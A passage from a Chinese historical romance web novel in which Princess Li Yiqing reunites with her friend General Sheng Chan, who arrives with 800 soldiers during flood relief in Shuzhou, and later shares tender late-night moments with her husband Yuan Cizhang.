元辞章察觉到李意清的纵容，主动揽住了李意清的腰肢，慢慢加深了这个吻。
直到李意清呼吸有些不顺，轻轻推着他的肩膀。
元辞章松开她，视线落在她水润的唇上，眸色晦暗。
滚动的喉结显现他并不平静的内心。
李意清靠在元辞章的肩膀上，忽然想到很久之前，元辞章亲了她之后，会匆匆移开视线，耳垂一片通红。
元辞章抱着李意清，片刻后，闭眼又睁开。
“意清，无论什么时候，都不要把自己置于险境。”
他说的深情而郑重。
李意清没有说话，只是更加用力地搂住了他。
*
翌日一早，继续启程往舒州府走。
李意清和元辞章在县衙分别。章河渡是怀松县此行的重点，也不是知州唯一需要操心的地方。
元辞章神色淡然地送了一程。
“好了，送到这里就可以了。”李意清看着越来越渺小的怀松县衙，拦住了元辞章前行的脚步。
元辞章顿住脚步，第一次觉得这条路不该如此短暂。
他不知道从哪里拿出一束在哪摘的花，抖尽花蕊上沾染的露水后，交到了李意清的手中。
而后旁若无人般凑近李意清的耳边，轻声道：“夫人安心在舒州府等我就是。”
李意清还是有些不习惯在众人面前和元辞章靠的这么近，可是临别的思念之情战胜内心的羞赧，她踮脚在元辞章的右侧脸轻轻亲了一下。
“上言加餐食，下言长相忆。”李意清压低了声音，“这句话意境不对，总之希望郎君努力餐饭，意会一下。”
说完，她像是触电一下，连忙后退了几步，捧着手中的花。
“花真好看。”
元辞章闻言，极低了笑了一声。
旁边跟着的官员和章河渡众人：“……”
就此别过。
李意清和众人回到舒州的时候，已经日头高升。
府衙接应的人看见李意清，还以为是元辞章请来的师爷主动揽了活计，直到听到为首几人奉承的喊“殿下”，原先含笑的脸立刻僵在了原地。
什么殿下？
怀松县来的官员看见他们僵硬的脸，心底莫名升起一抹窃喜，主动道：“你们不知道吗，殿下是於光公主啊。”
交接的府衙官员面面相觑，这大半年来，他们自然经常和李意清打照面，其中不少人，还和李意清搭过话。
交谈之间，只觉得这个人平易好说话。
谁知道，竟然於光公主。
府衙官员久久不能回神。
李意清和往常没有什么不同，朝着几人笑笑，简单交接之后，李意清主动道：“正好我在舒州开了一家药膳堂，小虎的腿伤，不如就在仁清堂养着吧。”
小虎和同行的两个少年都不禁流露出喜悦，可是喜悦过后，变得犹豫。
“方便吗，会不会有点打扰。”
李意清道：“仁清堂本身就是做这桩营生，怎么会不方便。”
小虎三人面面相觑，然后道：“那就多谢殿下了。”
仁清堂中，茴香站在门口，翘首以盼。
看到李意清的身影越来越近，忍不住像是一只飞舞的蝴蝶，直冲冲地朝着李意清而去。
“殿下。”
李意清被她撞得往后退了两步，站稳后，才笑着介绍自己身边的几人。
茴香闻言后，拍着胸脯道：“殿下放心。”
进去后，小虎被安置在后堂，同行的少年坐在旁边东张西望，目光中满是好奇。
日复一日闲着的厨房师傅见到人来，目露喜色，和颜悦色问着要吃些什么。
少年局促，支支吾吾说不上来，厨房师傅道：“没事，没事，我简单炒两个小菜，你们先尝尝合不合胃口。”
说完，圆润的身子轻巧如风，一溜烟地出去了。
李意清见小虎躺下，转身出去，杜于泉站在前堂对着账册，却不见元尧臣的身影。
她走到杜于泉的身边，“杜掌柜，尧臣呢？”
杜于泉专心核对着账册，闻言唔了一声，直到一页看完，才抬起头道：“尧臣去城外接应药材了……姑娘，你什么时候回来的？”
他方才看得入迷，只隐约觉察身边的动静，却不知道究竟发生了什么。
李意清：“方才。”
杜于泉点了点头，有些不好意思地摸了摸脑袋。
他朝外面看了一眼天色，慢慢道：“尧臣上午就去了，差不多过会儿就能回来了。殿下远见，舒州府现在药材难求，现在正可以解燃眉之急。”
李意清想到委托元家的药材数量不小，想了一瞬，道：“既然如此，我顺道去城门口等他。”
杜于泉有心想要陪同，可眼前的账册还差几页就要看完，他两难之间，李意清主动道：“城
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门不远，杜掌柜不必担心。”
杜于泉这才专心回到账册身上。
茴香说什么都要跟着李意清走，两人走到城门的时候，外面乌泱泱一片人。
看其穿着，不像是逃难，而是府城的百姓出来看热闹一般。
隐隐约约，李意清听到了什么“将军”。
茴香听得更仔细，小声对李意清道：“他们好像是在说什么‘女将军’。”
女将军？
李意清有些疑惑，可那一瞬间，脑海中忽然闪过一抹身影，英姿飒爽。
这样的疑惑，到了城外三里地释然。
盛蝉骑在高头大马上，一身干练的红色劲装，头发高高竖起，风起，发丝飘扬。
她嘴角噙着爽朗的笑容，旁边是元家护送药材的镖师，对接的元尧臣仰头望着马上的女子，久久移不开视线。
果然是盛蝉。
李意清望着盛蝉，忽然觉得时光当真不饶人。
一转眼，已然三年。
上次叠翠湖边骑马驰骋，已然恍如前世。
盛蝉讲的专心，旁边还有一脸心有余悸，又透露着淡淡庆幸的元家镖师，元尧臣听得专注，几人毫无察觉李意清的靠近。
李意清越是走近，心中那一抹“近乡情更怯”的情绪就更明显。
盛蝉正笑着，忽然感受到落在自己身上的那一抹视线。
熟悉、不容忽视。
“殿下！”
盛蝉几乎是一瞬间跳下马，直接就冲着李意清扑来。
在西北大营的三年，盛蝉的手劲见长，直接就将李意清抱了起来，转了个圈。
三圈后，李意清脑袋忍不住有些晕晕乎乎。
盛蝉松开她，拧着眉间捏着她的手腕，语气不太好：“你怎么抱着比以前更轻了一些。状元郎是不是没把你照顾好？”
李意清笑着否认：“怎么会？对了，你怎么会在这里？盛大将军允许你出来了？”
盛蝉扬了扬眉：“他不许也得许。”
旁边的小兵道：“盛将军和我们一样从小兵做起，寒冬腊月，数九寒冬，愣是没喊过一声苦，去年在天行山剿匪，将军还中了好几枪……”
李意清的神色立刻紧张起来。
盛蝉轻轻咳嗽两声，摆了摆手道：“不足挂齿，不足挂齿。没事儿，反正我养伤的经验足。”
人在边疆，哪能不受点伤。
似乎是为了让李意清开心一点，盛蝉比划着道：“现在，我父亲身边的副将的枪都耍得没我漂亮，盛复银和盛复西更是不值一提。”
李意清当然记得盛蝉这两位同父异母的弟弟。
他们两个从小跟在盛大将军身后舞刀弄棒，盛蝉进营才三年，能够越过他们，谈何容易。
盛蝉眉飞色舞，李意清微笑着看她，心中担心，却不曾显露分毫。
一是不想扫了盛蝉的兴致，其二，再苦再累，那也是盛蝉自己选择的道路。
元家的镖师在旁道：“殿下有所不知，我们运送的路上遇到了山匪，百余人，凶悍得很，伤了我们十几个兄弟。幸亏遇到了盛将军，否则这一路真是不太平。”
药材紧俏，元家大张旗鼓收购了这么多药材，难免会有些人动心思。
入山非匪，哪里还在乎公主的威名，抢了这一单，半年都不愁。
157. 八百人
镖师虽然没有详细叙说那一路的惊险，李意清却还是听得心惊胆战。
盛蝉看着半是感谢半是担忧的眼神，连忙道：“这次我刚好路过西北落鹰峡，顺手帮了一把。有些伤轻的让随行的医师包扎了，伤重的就直接留下休养了。”
元尧臣身为元家直接对接的人，立刻站出来道：“凡是运镖途中受伤的人，我元家都补偿医药费。这一趟兄弟们辛苦，大家都有赏钱能拿。”
元家队伍的镖师立刻欢呼出声，纷纷道：“少东家仗义。”
盛蝉看着元尧臣游刃有余地安抚着受惊的元家镖师，忽然问李意清：“这位是？”
李意清道：“元尧臣，元辞章的堂弟。你们讲了这么久，都还没有记住名字？”
盛蝉：“是我不好，他说过了，我记性不好。”
她含笑看着元尧臣，“你看着年纪不大，做事倒是很沉稳。”
元尧臣原先的镇定忽然消失不见，他害羞地挠了挠头，自然垂下的手有些拘谨地抓着下摆。
李意清扫了一眼，忽然就嗅出了一丝不同寻常的气息。
当时元尧臣初次见她，都表现的镇定自若，仿佛身上那身经过元辞章提点的“沉稳青色衣裳”能给他莫大的依靠。
而现在，依旧是一身看着雅正沉稳的青衣，却不见当时的淡然悠哉。
盛蝉初次见到元尧臣，只当他本就是一个拘谨易害羞的弟弟，又笑着打趣几句，转而看向李意清。
“好了，既然将药材顺利护送，我就不久留了。”
李意清闻言，那点揣摩的心思立刻烟消云散。
“你要走？这么急？不如在舒州休整一日，我……”
我好久不见你，还有好多话想要与你说。
李意清目光定定地看着盛蝉，她在脑海中搜刮着词语，以期能够留下盛蝉，哪怕片刻。
她本以为会是很难的一件事，没想到刚开口，盛蝉就从善如流道：“好。”
李意清：“……我们都三年不见了，一见面就分别……你说什么？”
盛蝉声音洪亮道：“好，我留下。”
李意清被她嘴角扬起的笑容弄得微微晃神，然后才反应过来她张合的嘴在说“好。”
好？那不就是同意了。
李意清咽下自己准备的说辞。
盛蝉道：“到了舒州这边，才知道这边水患严重，我这支队伍算不上声势浩大，但是帮忙做些事情倒是不难。再者说，於光公主亲自挽留，回去后盛大将军就算是想挑我的错处，也会看在你的面子上饶我一次。”
她特意用了“盛大将军”。
西北大营，公是公，私是私，即便她是盛大将军的女儿。
李意清眉眼弯起，轻笑道：“好。”
“请盛大将军放心，本殿自会写书说明原委。”她笑。
两人相视而笑。
盛蝉带来的人大约八百人左右，说多不多说少不少，如果真进了城，难免会引起恐慌。
李意清正在思考如果妥善安置士兵，盛蝉道：“兄弟们都是经历过生死的，匪患狼灾，什么没见过，不拘什么倒地就能睡。”
说完，她顿了顿，自然将手搭在李意清的肩头，搓了搓手道：“不过要是能有吃食，就更好了。”
八百人的饭食。
李意清犹豫了一瞬间，立刻点头道：“好不好吃不敢说，但肯定管够。尧臣，你去府衙再去问问，是否还有布帐。”
士兵们一路奔波至此，怎么能真的躺地上和衣睡上一宿。
元尧臣闻言，默不作声扫了盛蝉一眼，见她没有反对，立刻道：“嫂嫂放心，盛将军放心，尧臣定然将此事办妥。”
盛蝉虽然说着不在意，但是面对这些随她出生入死的兄弟，还是希望他们能够睡得舒服。
她笑：“那就拜托元小兄弟了。”
元尧臣面上一抹绯红，他有些张皇，结结巴巴道：“不算什么，不算什么。”
说完，转身就走，左脚绊着右脚，似乎连路都不会走了。
李意清看着元尧臣的背影，忽然忍不住想笑。
盛蝉也觉得这个弟弟可爱得紧，吩咐士兵先就地休息，如果遇到需要帮助的难民就帮上一把后，跟着李意清进了城。
她拉扯着李意清的衣袖，语气惊叹：“这弟弟这么害羞，是怎么做到少东家的位置？”
真的不会与人谈判的时候突然不知道说什么吗？
李意清看着盛蝉清澈的眼眸，笑着道：“才不是呢。”
元尧臣当然不是这样的，即便是初见之人，他也能谈笑风生。
他紧张的原因，无非是眼前人。
盛蝉继续道：“不是吗？那我怎么觉得他很是拘谨，仿佛我要吃了他一般。我当真有这么吓人？”
李意清站定，认认真真端详着盛蝉的面容。
“银鞍白马驰风去，铁画银钩落笔间，玉面如花映日辉。”
盛蝉：“你又说些我听不懂的话。”
李意清莞尔：“不吓人，夸赞你玉面如花，英姿飒爽。”
这两个是好词，盛蝉笑眯了眼睛。
盛蝉一身红衣戎装，走在舒州的街道上很是显眼，不少人围在旁边好奇张望，却不敢真的靠近。
两人进入仁清堂后，闻声而至的厨房师傅离开走了出来，目光惊讶地扫过盛蝉，问李意清道：“这位姑娘可是要在堂里用饭？”
李意清朝着厨房师傅狡黠一笑：“是啊，我朋友远道而来，能不能吃上饱饭就看师傅的了。”
厨房师傅：“害，这有什么难的，我巴不得人越多越好。”
李意清：“……嗯，放心。”
厨房师傅：“什么放心？”
厨房师傅空有一身本事却无法发挥是所有人心照不宣的点，李意清自然也不例外。
她在心底估算了一番元尧臣的办事速度，以元尧臣的细心程度，应该会让人按时运些粮食过来。
恰好此时，堂外传来一声呼唤：“掌柜在不在，这是送来的菜。”
雨后新鲜的菜保留下的十不足五，沾了水后不易保存，听到有人收购，不少农户微微犹豫，还是出了一部分。
虽然家里人要吃，但是囤积下来也会坏的，不如趁现在换了银钱，等日后有余粮了换些白米白面。
杜于泉和厨房师傅对视一眼，杜于泉率先朝外走去。
半响后，杜于泉指挥人将菜运到后院，拍着袖子进来，“怎么那么多菜，是要办宴席吗？”
厨房师傅闻言愣住，捣腾着两条腿往后院跑，看清菜的数目后，张大嘴巴。
“这这这……”
这得是什么规格的宴席啊，需要用到这
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么多菜。
李意清错开视线，盛蝉轻咳一声，“大约八百余人。”
厨房师傅惊呼出声：“多少？”
李意清伸手比了一个数字“八”，认真严肃地点了点头。
盛蝉看李意清的后脑勺就知道她心底打着什么算盘，立刻道：“师傅，你刚刚才说是希望人越多越好对吧，那我们八百个人，就指望师傅了。”
李意清：“有劳师傅。也不拘吃啥，管饱就行。”
厨房师傅眉头一拧，皱眉道：“什么叫管饱就行，咱仁清堂出去的就不能难吃。八百人是吧，行。”
他一面说着，一面伸手擦着自己额头上的汗。
得趁现在还有时间，找几个人来帮自己的择菜和洗菜。
厨房师傅打定主意，立刻动手忙活了起来。
李意清和盛蝉站在后面对视一眼，跟在厨房师傅身后帮起了忙。
师傅认识的人多，很快凑齐了六个人，协力之下，速度也不慢。
洗净切好，李意清和盛蝉没了用武之地，被师傅推攘了出来。
“在外等着吧。”
两人被里面的油烟味呛到，连连咳嗽，听到师傅的话，如蒙大赦。
出来后，正好遇见回来的元尧臣。
元尧臣满脸春风得意的喜色，见到盛蝉的一瞬间立刻收敛了几分，用手抵住唇边道：“布帐已经准备妥当，先行送去安置了。剩下这些人帮忙送，应当不是……”
他话音未落，忽然肩膀上传来一道重重的力度。
盛蝉一掌拍在他的肩膀上，笑容灿烂：“好样的，弟弟你年纪看着不大，做事却很稳妥。”
元尧臣：“哪有，开过年来十九了。”
他说话的时候，神情认真而严肃。
盛蝉愣了一瞬，而后爆发出更加猛烈的笑声。
“好好好，我不说了，小元掌柜。”
元尧臣：“……”
李意清看着元尧臣涨红的脸，实在是有些不忍心，扯了扯盛蝉的袖子。
“喊人元掌柜就成，什么小元掌柜。”
盛蝉：“对对对，是我失言，应该是元掌柜。”
“无妨，盛蝉将军……怎么喊都可以。”
盛蝉被“将军”二字取悦，立刻嘴角咧起，笑眯眯道：“懂事儿。”
然后朝着李意清比了一个大拇指，语气赞赏：“可以啊。不愧是……现在跟在你身边的。”
李意清看了一眼快碎了的元尧臣，伸手捂住了脸，拉着盛蝉走到了一旁。
“盛蝉，你是不是饿了，现在仁清堂吃些东西。”李意清主动岔开话题，“或者说你也去城外和兄弟们一起吃。”
盛蝉不明所以，但是听了李意清的问题后，还是认真思索。
“去城外吧，大伙儿平时都一块同吃同住。”盛蝉沉吟了片刻，轻声说，“再者说，我吃的和他们也并没有什么不一样，被他们误以为我开了小灶可就不好了。”
这话顶多半句是真的，要是真有小灶她就认了，可是到了仁清堂后，师傅只记得八百人，根本不记得还有一个准备堂食的她。
没享受过的事情，不能认。这是盛蝉的底线。
李意清闻言，多看了她一眼。
盛蝉：“行了行了，看破不说破。小……不对，元掌柜，现在可以出发吗？”
158. 意中人
元尧臣闻言，立刻点头如捣蒜，“当然可以当然可以。”
到了城外，盛蝉拿着瓷碗装了饭菜递给李意清，“来，和我们一道体验一番蹲在草坡上吃饭的感觉。”
李意清愣了一瞬，很快重新扬起了笑容，从善如流接过碗。
“这倒是新奇，我还是第一次尝试。”
盛蝉看着她端着碗就开始吃饭的模样，眼角微微弯起。
在西北也有不少扎根州府的世家大族，娇养出的闺阁女儿都不愿意在他人面前展现自己的吃饭的一面，那被认为是粗鄙的、登不得大雅之堂的。
盛蝉有意在盛复银和盛复西母亲的牵线下和一些当地贵女打好关系，可是交谈一番后，还是会忍不住想念和李意清、柳夕年在一块的日子。
纵马游湖，何等畅快。
李意清反应平静，可是旁边围观的众人都纷纷心情起伏了起来。
就连盛蝉的亲信也忍不住有些想要扶额，那可是公主，谁家公主蹲在地上捧着碗吃饭。
盛蝉将军自己过得糙点就算了，还拉着公主是几个意思。
是真不怕盛大将军一怒之下又敲断腿。
盛蝉笑完，看着沉默不言的众人，热情的招呼道：“吃啊，大家怎么不吃啊。”
在一片诡异的安静后，众人颤颤巍巍端起了碗。
吃完饭，盛蝉一声令下，八百人分散成整齐有序的十人小队，四散帮忙去了。
盛蝉双腿盘坐在地上，手上捏着一根碧绿的草叶，来回拨弄。
她不说话的时候，眉眼间的自信与爽朗转化为另一种无可奈何的落寞与萧索。
风沙没能吹灭她眸中的光，而是转为一种更深层次的东西。
这样的她，光是看着，就忍不住上手轻轻抚平她蹙起的眉尖。
元尧臣只敢忙里偷闲，悄悄看她一眼。
李意清端着两碗茶水走来，伸手递给盛蝉一碗。
舒州茶叶丰富，潜山十里茶香不同，光是闻着，就让人心旷神怡。
盛蝉在悠然的茶香中微微淡忘了一些压覆在肩头上的重担，随着清风摆起了头。
口中哼着西北学来的曲调，抑扬顿挫，悦耳动听。
李意清一边小口地抿着茶，一边时不时望向她。
似乎想从蛛丝马迹的变化中，一点点拼凑挚友分别的三年。
世人常说人生能得一知己死而无憾，对李意清而言，盛蝉正是这样的存在。
她懂她的雄心与壮志，她也懂她的天下与民。
盛蝉眼角余光注意到了李意清投来的视线，道：“想学吗，我教你唱。”
“草原辽阔无边，羊群如云轻轻漫卷，风吹草低，金光洒满边……”
词简单，但吟唱出声，浑然浩瀚。
仿佛一刹那间，天地展现眼前，万物尽收眼底。
李意清跟在盛蝉的身后学，两句过后，忍不住道：“西北大营北移，现在那地方，是什么样子的。”
是如汾州的烟火人间，还是熙州的群山覆雪，恍如仙境。
盛蝉不假思索道：“水草丰茂，牛羊成群，六月的时节，胡杨林高耸壮阔，在戈壁上排开，行军路上遇见绿洲，快意不比千金裘差。殿下，如果有机会，你真应该去看一看。”
去看一看和江南完全不一样的塞外风光。
李意清被她勾起向往之情，“总会有机会的。”
“对，对，总会有机会的。”盛蝉跟着点头。
*
盛蝉在舒州只待了两日，便带着浩浩荡荡的八百人离开。
李意清本准备去城外相送，可是汪青野刚好从江宁回来。
盛蝉骑上马，背着朝阳迎风回首：“相逢之日有期，何须争朝暮之间。意清，你不必相送。”
我不是怕你难过得会哭出来，而是怕我们两个抱头痛哭。
这样可就一点也不符合英姿飒爽的女将军形象。
盛蝉心中思绪万千，但是面上只淡淡一笑，拽着缰绳策马扬鞭。
“走了！”
她头也不回的道。
李意清望着的背影轻轻招手，低声念着一路顺风。
汪青野凭借公主令牌调来了两千人的军队，来时看见驻扎在城外的八百米，还有些摸不着头脑。
“师娘，这些是什么人啊？”
李意清道：“我的挚友。对了，要你办的事情办妥了吗？”
汪青野点了点头：“妥了妥了。元相听说之后，联系了不少江宁府的门生，不少富户都主动捐钱捐粮，但是江宁府上闹出了一场丑事。”
李意清抬头看他。
“江宁府三座粮仓里塞着稻草以次充好，被发现了。现任知府曹恩沛大呼冤枉，元相手中无实权断案，此事正僵着。”
李意清：“无妨，元相在位多年，这种事情估计见的比我都多。你不必担心。”
汪青野一想也是，点了点头。
“运粮这一路上还安稳吧。”送完人，李意清一边走一边询问。
汪青野乖乖跟在李意清的身边，如实回答道：“一路上遇见了不少难民，但是没遇到像样的匪寇，师娘睿智，有两千将士助阵，没有不长眼的敢冲上来。”
“稍后你点上一些人手护送粮食送去怀松县、白崖县……务必确保拿到当地县衙的公文。对了，怀松现在崔县尉做主，不是个好相与的人，你与他交涉，多留几分心。彦文卓也在怀松，你到了先与他会和。”
汪青野应了一声，朝着她一拱手，离开办事。
走回仁清堂后，李意清目光在众人身上扫过一圈，却没有看见元尧臣的身影。
“尧臣呢？”
杜于泉想了一瞬，“刚刚还见着他呢，大概就在门口吧……元掌柜，你去了哪里，姑娘找你呢。”
元尧臣蔫头耷脑，听到杜于泉的话，稍稍打起几分精神。
“嫂嫂，你找我有事？”
李意清：“你想去西北吗？”
元尧臣的脸一瞬间红如煮熟的蟹，支支吾吾道：“……嫂嫂这是何意？”
“尧臣听不明白我讲了什么吗？”李意清莞尔，淡淡垂眸，“其实也无不可，你父亲基业多在中原北地，杜掌柜现在越来越得心应手，你若是牵挂，自然可以去追寻。”
“嫂嫂看出来了啊……”元尧臣挠了挠头。
杜于泉：“元掌柜，你表现的那么明显，谁看不出来。”
元尧臣脸色本就红，被两人这么一说，更是红的滴血。
李意清伸手搭在他的肩上，语气随意：“你都十八岁了，我十八的时候都已经和你兄长结为夫妻了。不过你对盛蝉有意，还需要得到她的芳心，若是她不愿意，本殿也绝不可能帮你。”
元尧臣点头如捣蒜：“我知道我知道，嫂嫂你放心。兄长说过，若是真心喜欢一个姑娘，
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就绝不能勉强她。”
李意清：“……”
元尧臣：“……嫂嫂，我哪里说的不对吗？”
李意清确实没有想到元辞章会这么和元尧臣说。
元辞章从头到尾表现出来的是：如果喜欢一个姑娘，就绝对不要放手。
一步步靠近，贴近，诱她沦陷。
事实上，李意清也确实一步步走向他。
李意清道：“你兄长……算了，现在在说你的事情，所以，要不要去？”
元尧臣陷入迷茫。
他不确定地看着李意清，小声喃喃道：“兄长没教过，该怎么追求喜欢的姑娘啊。”
李意清忍俊不禁：“你兄长怎么可能什么都未卜先知，这是你自己的感情，你应当自己选择。”
元辞章教会了他很多道理，也将他保护得太好。
好到，有时候他会失去自己的主见。
元尧臣必须要自己独当一面，元辞章让他不断历练，肯定是存了这个心思。
元尧臣看着目光温和鼓励的李意清，又看看一旁置身事外的杜于泉，头疼地揉了揉脑袋。
半响后，他的眼神从迟疑缓缓变得坚定。
“嫂嫂，我现在不会去找盛姑娘的。”
李意清微微诧异，更多的是一丝赞赏。
“现在的我，尚且依靠父兄之力，还不够资格站在她的身边。我希望见到她的那时候，我能堂堂正正地站在她的身边。”
那可是盛将军啊。西北最绚烂的花。
红衣戎装绝美而张扬。
李意清没有第一时间回答。
很久之前，元辞章也是等到金榜题目，才迫不及待面见太后。
那时候，距离她燃放天灯为国祈愿，足足过去了两年多。
元家的人，果然都能等得起。
杜于泉老神在在地道：“可是，可是若是你找盛姑娘之前，她已经心有所属，你晚来一步，那该如何是好？”
元尧臣：“那就……”
他有些答不上来。
李意清眨了眨眼睛，也有些期待元尧臣的回答。
元尧臣像是被夫子抽问的学生，每一道题都在预料之中，可是每一道题，却说不出最恰当的话语。
他忍不住轻轻在房中来回踱步。
忽然脑海中灵光一现，他十五岁那年去京城伯公家中小住，有小厮端着元辞章的废稿准备拿去清理，元尧臣好奇地拿了几张看。
最上面的一张废纸写的是——
“从此音尘各悄然，春山如黛草如烟。”
元尧臣站定，不确定地将这句话复述出来。
可是说出来的一瞬间，又有一种说不出来的怪异。
当时的他年纪尚小，只读了两遍，又满不在乎地给了小厮，回去问母亲意思，母亲闻言，嘴角上扬。
“看来你辞章兄长有了意中人，可是又不确能否相守，于是决定放手成全。尧臣，爱一人简单，可是放手成全的爱可就罕见了，可见你辞章兄长对其用情之深。”
元尧臣似懂非懂，同时大为震惊——原来像兄长这般冷情冷性的人，也会爱而不得。
可是，既然如此深情，为何这张纸会出现在废纸堆里？
元尧臣嘴唇翕动，不知道该怎么纠正。
一旁的杜于泉惊叹一声：“没想到元掌柜小小年纪，就懂得爱人为放手成全这个道理。”
159. 爱屋及乌
元尧臣连连求饶：“杜掌柜，你就别打趣我了。”
他毕竟年纪小，脸皮薄，听了几句，脸红如滴血。
“好了，不逗你了。”李意清掩唇轻笑，目光流转，想起汪青野的话，“你兄长现在忙得不可开交，你既然有心历练，不如去找他。”
元尧臣心中有些担心。
他没有经验，也不懂怎么救助，要是去了反而添乱，可就坏事了。
可是他刚刚暗自发誓，一定要尽快成长起来，才有资格堂堂正正的站在盛蝉将军的身边。
“好。”
元尧臣咽了一口唾沫，认真道。
剩下的事情就是元尧臣对杜于泉的嘱托，李意清连忙寻了一个借口，转身去了堂外透气。
*
七月下旬，舒州府的水患救治告一段落。
以元辞章为首的官员前往舒州府诸县挨家挨户地劝说，今年在水患中受灾的人数大大降低，除了稻田损失，伤亡人数比往年好了不止一点。
李意清费心从西北运来的药材也发挥了巨大的作用。
周边的庐州和太平州得知消息，知州都纷纷派人上门求药。
因为运回的数量足够庞大，李意清给的很是痛快。
水患易生疟疾，若是一地遭殃，他地也不会好受。
况且这都是大庆的子民。
渐渐地，舒州府的街道慢慢开始有了人气。
元辞章白天忙着排水造渠的事情，晚间时候点着烛火，熬夜写着反馈给朝廷的陈情表。
这已经是元辞章第三个子时不得入眠的夜晚。
李意清在榻上听着笔尖落在纸面上的沙沙声，睁开了眼睛。
元辞章看着披衣起身的李意清，停下了手中的笔。
“可是我写字的声音吵到你了？”
李意清摇了摇头，走到他的右手边，伸手夺过他握在手中的笔。
“元知州，即便是铁打的身子，也应该休息了。”
隔着摇曳的烛光，李意清微微垂眸，教人看不清她的神色。
“要是你累坏了，舒州府众人可怎么办？”
元辞章任她将铺开的纸张吹了吹，卷了起来。
他心中自然没有半点不悦。
他眉眼含着清浅的笑意，语气颇为愉悦：“夫人是在担心我吗？”
李意清：“……”
她默不作声地抬头看了他一眼，而后低下头。
“知州大人，明知故问。”
七月流火，夜风微凉，吹得烛火隐隐绰绰。
元辞章的手腕沾了一点细碎的墨点，连带着袖口也有黑色的痕迹。
李意清微不可察地蹙紧了眉间，随手拿下一块挂在熟谙旁边架子上的手绢，沾了水。
然后用一种不容拒绝的力道拉住元辞章的手腕，细致地一点一点擦去手腕上的墨水。
元辞章的手腕清瘦而不失力道，多日的奔波让他的青筋越发明显。
李意清头一次发觉，原来“骨色生香”竟然可以用在一截手腕上。
光是想着，她的耳尖就忍不住微微发红发烫。
好在烛光暖黄，元辞章隔着这段距离，应当看不清她的神色。
落在手腕上的墨水好擦，衣服上的，估计要等换下来后用热水浸泡皂角细细揉搓，才能清洗下来。
李意清没打算依靠手绢就能清理干净衣裳。
擦去最后一小块墨点后，李意清刚准备松开他的手，却忽然被大手反捉住。
修长的手掌松松地环住她纤细洁白的皓腕，看上去旖旎而缠绵。
元辞章微微用力，伸手将她扯入自己的怀中。
李意清发出低低的一声惊呼，而后落入一个坚实可靠的胸膛。
胸膛底下，心跳声沉稳有力，听着就让人安心不已。
元辞章一只手虚虚扶着她的腰肢，另一只手抚摸着她如绸缎般的头发。
“多谢夫人。”
李意清熟悉地挑了一个让自己靠着更舒服的姿势，勾起元辞章的发梢轻轻把完。闻言，抬眸看向元辞章的下颌，“谢我什么？”
元辞章伸手拨开她鬓边的碎发，轻轻吻在她的眉心。
“多谢夫人帮我擦去手上的墨点。”
语气认真，就事论事。
李意清抬眸，不经意落入一片如幽潭的眼眸。
假如秋水可以望穿，想来应当是眼前模样。
她呼吸微微一窒，而后错开视线，“不用谢。”
元辞章顺杆往上爬：“嗯，夫人说的是。你我夫妻之间，不必言谢。”
李意清：“……得寸进尺。”
她语气佯装平静，可是颤抖的尾音还是泄露了几分。
元辞章的唇有意无意地蹭过她的耳尖，霎时间一阵电流从上而下，她几乎有些靠不稳。
她强忍住战栗，仰头去看，只看见元辞章唇角微微上扬的弧度。
他果然是故意的。
李意清有些忿忿。
元辞章嗓音依旧清越悦耳，带着几分故意的苦恼：“殿下，微臣的陈情上述奏折还未写完，这可怎么办呢？”
李意清：“……你继续写，本殿就不打扰了。”
她一边说，一边伸手去推元辞章的肩膀。
推不动。
元辞章手上发力紧紧禁锢着她：“可殿下方才好像说，心疼我。”
李意清被他磨得没了脾气。
“那你说，怎么办？”
李意清不出意外地在他的眼底看到了几分从容闲适的笑。
元辞章目光定定地看着李意清，伸手搂住她的腰，轻轻吻在了眉心。
那一刹那，满身夜风吹就的冷意变成了迎面落下的秋雨。
李意清几乎是在他贴近的一瞬间就闭上了眼眸，眼睫毛轻轻颤抖，片刻后，感受到清冷的呼吸离开，才慢慢睁开双眼。
元辞章：“夫人早些安寝。”
李意清站起身，准备重新走回床榻。
甫一起身，忽然转头看向他。
“这样就够了吗？”
元辞章不明所以地看着她。
李意清提起裙摆，跪坐在元辞章的对面伸手磨墨。
粉白纤细的指尖握住雕刻着松枝的墨块，动作赏心悦目。
无端让人联想到红袖添香。
“知州大人忙自己的事情，”李意清专心自己手上的动作，似乎没有感觉到落在自己身上的视线，“刚好前几天周太傅来信，教我如何编书。现在正好有空。”
元辞章瞥了一眼夜色。
子夜时分，一切都沉寂，唯有风吹拂过树叶发出的“沙沙”声。
再有两三个时辰，天就快亮了。
元辞章：“夫人——”
李意清打断了他将要说出口的话，“既然知道我在陪你，还不快些。”
元辞章止住了喉咙间未说出口的话，转为一声轻笑。
他说：“好。”
两人没有再说话，一时间房间安静的落针可闻。
差不多半个时辰
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后，两人同时停下了手上的动作。
原因无他。门外守夜的许三打着哈欠敲门道：“公子，殿下，再不睡快天亮了。”
李意清看向元辞章，元辞章漫不经心地将视线从书卷上挪开，淡淡道：“知道了。”
看来今天是注定完不成了。
元辞章将书写完毕的几张纸细细铺好，压上镇尺。
李意清在旁托腮看着他的举动，眉眼弯弯。
等元辞章忙完，李意清忽然朝着他伸手，语气带着困意的绵软。
“元辞章，抱我。”
元辞章站起身，走到她的身边，动作熟悉地将她打横抱起。
李意清自然而然将手环在了元辞章的脖颈上，她此刻困的已经有些睁不开眼睛，把头靠在元辞章的胸膛前小声道：“下次不陪你了，你少熬些夜。事情一天是做不完的……”
她说的断断续续，还没说完，就只剩下清浅的呼吸声。
元辞章静静垂眸看着她安静的睡颜，明明知道她现在什么也听不见，还是道：“好，都听你的。”
将李意清抱回床上放好后，元辞章站起身，去了侧室打了热水，给她的脸擦拭干净。
门外，许三不知道什么时候又歪着脑袋睡了过去，鼾声震天。
元辞章换了一件衣裳，看了一眼天色，继续回到书案前。
李意清睡得迷迷糊糊，第二天醒来的时候，她下意识伸手摸了摸另一边。
早就凉了。
毓心掀开帘子进来，见到李意清低垂着脑袋走神，忍不住笑：“殿下，都这个时辰了，驸马早就去府衙了。”
李意清若无其事地移开脑袋，“我才没有好奇呢。”
用热水洗漱后，李意清换上一件宽松的衣裳，坐回书案前。
昨夜书案上乱七八糟，零碎的纸张四处都是，今日却被收拾的很整齐。
寝屋中的书案，时常会放一些重要的奏疏，毓心和茴香是向来不轻易触碰的。
看来在她睡着期间，元辞章主动收拾了东西。
但是桌上似乎并没有作业元辞章正在书写的陈情奏折。
李意清寻找一遍无果后，问身边的毓心道：“今日可曾见到了元辞章拿东西出门？”
“见到了，”毓心点了点头，“出门的时候驸马给了许三一个信函，说是要快马加鞭送去驿站，殿下说的是这个吗？”
李意清拍了拍自己的脑门。
